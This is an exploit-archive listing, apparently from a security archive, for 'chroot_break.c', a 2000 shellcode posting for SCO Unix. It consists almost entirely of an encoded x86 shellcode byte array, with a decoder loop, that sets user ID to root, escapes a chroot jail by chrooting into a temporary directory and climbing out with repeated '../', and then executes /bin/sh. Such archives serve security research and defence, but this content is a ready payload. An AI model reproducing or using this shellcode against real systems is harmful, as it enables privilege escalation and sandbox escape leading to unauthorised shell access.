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chroot_break.c

chroot_break.c
Posted Oct 17, 2000
Authored by Doable

SCO shellcode which breaks out of a chrooted environment.

tags | shellcode
SHA-256 | 2cfae4fea699795efc2dce0eb040c37c7f062cb9db79990b2b22adc82dc7c974

chroot_break.c

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/*
* Sco chroot() shellcode by doble@iname.com
*
* - setreuid(0, 0);
* - chroot-break (make a temp dir with mkdir(),
* chroot() to tempdir, do a number of ../
* - execve of /bin/sh
*
*/

char shellcode[]=
"\x90\x90\x90\x90\x90"
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx

// decode

"\xeb\x12" // jmp A
"\x5e" // B: popl %esi
"\xbf\x10\x10\x10\x10" // movl 0x10101010,%edi
"\xb1\x21" // movb 33,%cl
"\x29\x7e\x01" // subl %edi,01(%esi)
"\x83\xc6\x04" // addl 4,%esi
"\xe2\xf8" // loop
"\xeb\x05" // jmp +5
"\xe8\xe9\xff\xff\xff" // A: call B
"\x90"
"\xfb\x5d" // start: jmp uno
"\x6e" // dos: popl %esi

// setuid(0)

"\x41\xd0" // xorl %eax,%eax
"\xc0\x27" // movb $0x17,%al
"\x63" // pushl %ebx
"\x63"
"\xaa\x10\x10\x10\x10\x17\x10"

// mkdir("sh")

"\x41\xd0" // xorl %eax,%eax
"\xc0\x60" // movb $0x50,%al
"\x9d\x8e\x15" // leal 5(%esi),%edi
"\x67" // pushl %edi
"\x67"
"\xaa\x10\x10\x10\x10\x17\x10"

// chroot("sh")

"\x41\xd0" // xorl %eax,%eax
"\xc0\x4d" // movb $03d,%al
"\x9d\x8e\x15" // leal 5(%esi),%edi
"\x67" // pushl %edi
"\x67"
"\xaa\x10\x10\x10\x10\x17\x10"

// chroot("../../../../../../../../../../../../");

"\x41\xd0" // xorl %eax,%eax
"\xc0\x4d" // movb $0x3d,%al
"\x9d\x8e\x18" // leal 8(%esi),%edi
"\x67" // pushl %edi
"\x67"
"\xaa\x10\x10\x10\x10\x17\x10"

// execve("/bin/sh",0,0);

"\x41\xd0" // xorl %eax,%eax
"\xc0\x4b" // movb $0x3b,%al
"\x63" // pushl %ebx
"\x63" // pushl %ebx
"\x66" // pushl %esi
"\x66" // pushl %esi
"\xaa\x10\x10\x10\x10\x17\x10" // lcall 0x7,0x0

"\xf8\xbe\x0f\x10\x10" // uno: call dos

// strings

"\x3f\x72\x79\x7e\x3f" // "/bin/" // 0(%esi)
"\x83\x78\x10" // "sh\x10" // 5(%esi)
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f"
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f"
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f"
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f\x10"
// "../../../../../../../../../../../../\x10" // 8(%esi)
""; //
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